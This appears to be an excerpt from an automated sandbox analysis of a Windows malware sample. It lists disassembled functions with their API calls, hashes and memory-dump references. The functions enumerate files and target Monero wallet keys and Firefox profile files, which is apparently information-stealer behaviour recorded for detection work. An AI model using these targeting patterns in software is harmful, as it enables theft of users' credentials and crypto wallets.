StrCmpCA.SHLWAPI(?,00C00FE0), ref: 00BF4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00BF4B7D
FindClose.KERNEL32(000000FF), ref: 00BF4B92

Strings

%s\%s, xrefs: 00BF49FB
%s\%s, xrefs: 00BF49A4
%s\*, xrefs: 00BF4920

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: fb92550d771c905c21abebfc81b38557169308f03179fba4f4d86e2f1fdd1702
Instruction ID: 8e1cf5862652a69696db157fae1210ad51c1f0e836d108bf7a794808a6cc7135
Opcode Fuzzy Hash: fb92550d771c905c21abebfc81b38557169308f03179fba4f4d86e2f1fdd1702
Instruction Fuzzy Hash: BA6112B1500219AFCB34EBA1DC49FFA73BCBB58701F0485D8E609A6141EB75AB49CF91

Function 00BF4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00BF4580
RtlAllocateHeap.NTDLL(00000000), ref: 00BF4587
wsprintfA.USER32 ref: 00BF45A6
FindFirstFileA.KERNEL32(?,?), ref: 00BF45BD
StrCmpCA.SHLWAPI(?,00C00FC4), ref: 00BF45EB
StrCmpCA.SHLWAPI(?,00C00FC8), ref: 00BF4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00BF468B
FindClose.KERNEL32(000000FF), ref: 00BF46A0
lstrcat.KERNEL32(?,009BF3B0), ref: 00BF46C5
lstrcat.KERNEL32(?,009BDEE0), ref: 00BF46D8
lstrlen.KERNEL32(?), ref: 00BF46E5
lstrlen.KERNEL32(?), ref: 00BF46F6

Strings

%s\%s, xrefs: 00BF461B
%s\*, xrefs: 00BF459A

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 8ddd8c5263fab52879a1f003d407a5702c8bbe7189921d94de3d399d42ae6cec
Instruction ID: ab245f80ba52ff99a044c42b892c78cb8a9c08068c93c5b023b52a85ffbdf729
Opcode Fuzzy Hash: 8ddd8c5263fab52879a1f003d407a5702c8bbe7189921d94de3d399d42ae6cec
Instruction Fuzzy Hash: B95133B154021CAFCB24EB75DC89FFE73BCAB58300F4445D9B609A6190EB749B898F91

Function 00BF3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BF3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00BF3EDA
StrCmpCA.SHLWAPI(?,00C00FAC), ref: 00BF3F08
StrCmpCA.SHLWAPI(?,00C00FB0), ref: 00BF3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00BF406C
FindClose.KERNEL32(000000FF), ref: 00BF4081

Strings

%s\%s, xrefs: 00BF3EB7

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 7131ee06f47c1c711c59f7132863f5dbc7106475b4d855e85c8c87e623a4da5b
Instruction ID: e85c7c94c0166bccfb207efa50c1e735ce759ad2fe3fdba2f0f7232c91af0b78
Opcode Fuzzy Hash: 7131ee06f47c1c711c59f7132863f5dbc7106475b4d855e85c8c87e623a4da5b
Instruction Fuzzy Hash: 245134B5900218ABCB28EBB5DC85EFA73BCBB54700F0445D8B759A6040DB75DB8E8F91

Function 00BEED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00BEED3E
FindFirstFileA.KERNEL32(?,?), ref: 00BEED55
StrCmpCA.SHLWAPI(?,00C01538), ref: 00BEEDAB
StrCmpCA.SHLWAPI(?,00C0153C), ref: 00BEEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEF2AE
FindClose.KERNEL32(000000FF), ref: 00BEF2C3

Strings

%s\*.*, xrefs: 00BEED32

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 5339623d88b7342b666b9502f3e30726f7f2b70d34e851c4286c35886b63ceb7
Instruction ID: cd447338496f49b33e0c461638b68dac4b36a2a869a94210b223366c281aa7a7
Opcode Fuzzy Hash: 5339623d88b7342b666b9502f3e30726f7f2b70d34e851c4286c35886b63ceb7
Instruction Fuzzy Hash: 24E1CFB191111C9ADB58EB64CC51EFEB3B8AF54340F4041E9B60A63092EF706B8ECF51

Function 00BEF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C015B8,00C00D96), ref: 00BEF71E
StrCmpCA.SHLWAPI(?,00C015BC), ref: 00BEF76F
StrCmpCA.SHLWAPI(?,00C015C0), ref: 00BEF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEFAB1
FindClose.KERNEL32(000000FF), ref: 00BEFAC3

Strings

prefs.js, xrefs: 00BEF812

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 1168fad50b37dfc1cc31687630045660eb787204c9ef7e36ce16d992e6602ee3
Instruction ID: b5dc9554c3a8834fa14734cf4c14902bd55186f0378dce4b475ac0e0619e8032
Opcode Fuzzy Hash: 1168fad50b37dfc1cc31687630045660eb787204c9ef7e36ce16d992e6602ee3
Instruction Fuzzy Hash: 0DB12FB19001099BDB28FF64DC95AFD73B9AB54300F4085E8A50EA7195EF706B4DCB92

Function 00BE16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C0510C,?,?,?,00C051B4,?,?,00000000,?,00000000), ref: 00BE1923
StrCmpCA.SHLWAPI(?,00C0525C), ref: 00BE1973
StrCmpCA.SHLWAPI(?,00C05304), ref: 00BE1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BE1D40
DeleteFileA.KERNEL32(00000000), ref: 00BE1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00BE1E20
FindClose.KERNEL32(000000FF), ref: 00BE1E32

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Strings

\*.*, xrefs: 00BE17F1

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: d626084926d2de5754ad71a80cdb6acc695e4269d9fdc37e4114ec04e950aa0c
Instruction ID: c2bbbd95400a62c3b16272e3a259572d0ec4879f891ae09dd763d6010cc66848
Opcode Fuzzy Hash: d626084926d2de5754ad71a80cdb6acc695e4269d9fdc37e4114ec04e950aa0c
Instruction Fuzzy Hash: DB12DCB191011C9BDB19EB64CC96AFE73B8AF54340F5085E9A60A63091EF706F8DCF91

Function 00BEDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00C00C2E), ref: 00BEDE5E
StrCmpCA.SHLWAPI(?,00C014C8), ref: 00BEDEAE
StrCmpCA.SHLWAPI(?,00C014CC), ref: 00BEDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEE3E0
FindClose.KERNEL32(000000FF), ref: 00BEE3F2

Strings

\*.*, xrefs: 00BEDE26

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: f10df2a62862f3bcab698f52d4177928ed408a6a9da64fbbf3c0d492f8a4e0ee
Instruction ID: dee21f00c2a38d545e9e53c52488166d48613556bdc8f9155e41d69be9d3b523
Opcode Fuzzy Hash: f10df2a62862f3bcab698f52d4177928ed408a6a9da64fbbf3c0d492f8a4e0ee
Instruction Fuzzy Hash: 75F18EB181411D9ADB29EB64CC95EFEB3B8AF14340F5041E9A61E63091EF706B4ECF51

Function 00BEDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00C014B0,00C00C2A), ref: 00BEDAEB
StrCmpCA.SHLWAPI(?,00C014B4), ref: 00BEDB33
StrCmpCA.SHLWAPI(?,00C014B8), ref: 00BEDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEDDCC
FindClose.KERNEL32(000000FF), ref: 00BEDDDE

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: a3dc162e4d9502b2bf825ef658dc011226e82031d22e7e83122b799ae2f5ec64
Instruction ID: 293fb31aed8362523b185f9a7f12ae999fb4efb35bece5f59496f1de9ae2f1f2
Opcode Fuzzy Hash: a3dc162e4d9502b2bf825ef658dc011226e82031d22e7e83122b799ae2f5ec64
Instruction Fuzzy Hash: FD9158B29001089BCB18FB75DC56DFD73BDAB84340F4085A8B90A97191EF74AB0DCB92

Function 00BF7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

GetKeyboardLayoutList.USER32(00000000,00000000,00C005AF), ref: 00BF7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00BF7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00BF7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00BF7C62
LocalFree.KERNEL32(00000000), ref: 00BF7D22

Strings

/ , xrefs: 00BF7C7F

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 297aaaee700b41391b206842952f2f08235e3348e2dc04da71af531786a11c03
Instruction ID: 5edd0bcf4c2ba24a3b439fa6b2ff6cde1557bcfcf3422b6156e2fdee749e051b
Opcode Fuzzy Hash: 297aaaee700b41391b206842952f2f08235e3348e2dc04da71af531786a11c03
Instruction Fuzzy Hash: DF410AB194011CABDB28DB54DC99BFDB3B4EB44700F2041D9E60967191DB742F89CFA1

Function 00BEE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00C00D73), ref: 00BEE4A2
StrCmpCA.SHLWAPI(?,00C014F8), ref: 00BEE4F2
StrCmpCA.SHLWAPI(?,00C014FC), ref: 00BEE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00BEEBDF

Strings

\*.*, xrefs: 00BEE44D

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
